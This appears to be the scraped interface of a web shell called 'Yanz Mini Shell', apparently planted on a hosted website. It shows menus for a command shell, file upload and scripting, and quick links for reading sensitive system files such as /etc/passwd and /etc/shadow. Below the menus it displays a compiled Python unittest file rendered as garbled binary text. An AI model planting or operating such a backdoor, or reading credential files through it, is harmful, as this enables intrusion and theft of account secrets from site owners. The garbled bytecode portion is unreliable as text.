Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
bootstrap
css
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
U '��_ � @ s� d Z ddlZddlZddlZdd� ZG dd� dej�Zedkr�ejdd ��6Z e ej�d krpejdej� � d� nejdd � W 5 Q R X e D ]Zeej� q�dS )a� This module has a number of tests that raise different kinds of warnings. When the tests are run, the warnings are caught and their messages are printed to stdout. This module also accepts an arg that is then passed to unittest.main to affect the behavior of warnings. Test_TextTestRunner.test_warnings executes this script with different combinations of warnings args and -W flags and check that the output is correct. See #10535. � Nc C s t �dt� d S )N�rw)�warnings�warn�RuntimeWarning� r r �;/opt/python38/lib/python3.8/unittest/test/_test_warnings.py�warnfun s r c @ sD e Zd Zdd� Zdd� Zdd� Zdd� Zd d � Zdd� Zd d� Z dS )�TestWarningsc C s( | � dd� | � dd� | � dd� d S )N� )ZassertEquals��selfr r r �test_assert s zTestWarnings.test_assertc C s | � d� | � d� d S )N� T)Z failUnlessr r r r � test_fail s zTestWarnings.test_failc C s | � dd� | �dd� d S )Nr � � )ZassertAlmostEqualZassertNotAlmostEqualr r r r �test_other_unittest s z TestWarnings.test_other_unittestc C s( t �dt� t �dt� t �dt� d S )NZdw)r r �DeprecationWarningr r r r �test_deprecation% s zTestWarnings.test_deprecationc C s( t �dt� t �dt� t �dt� d S )N�iw)r r � ImportWarningr r r r �test_import* s zTestWarnings.test_importc C s"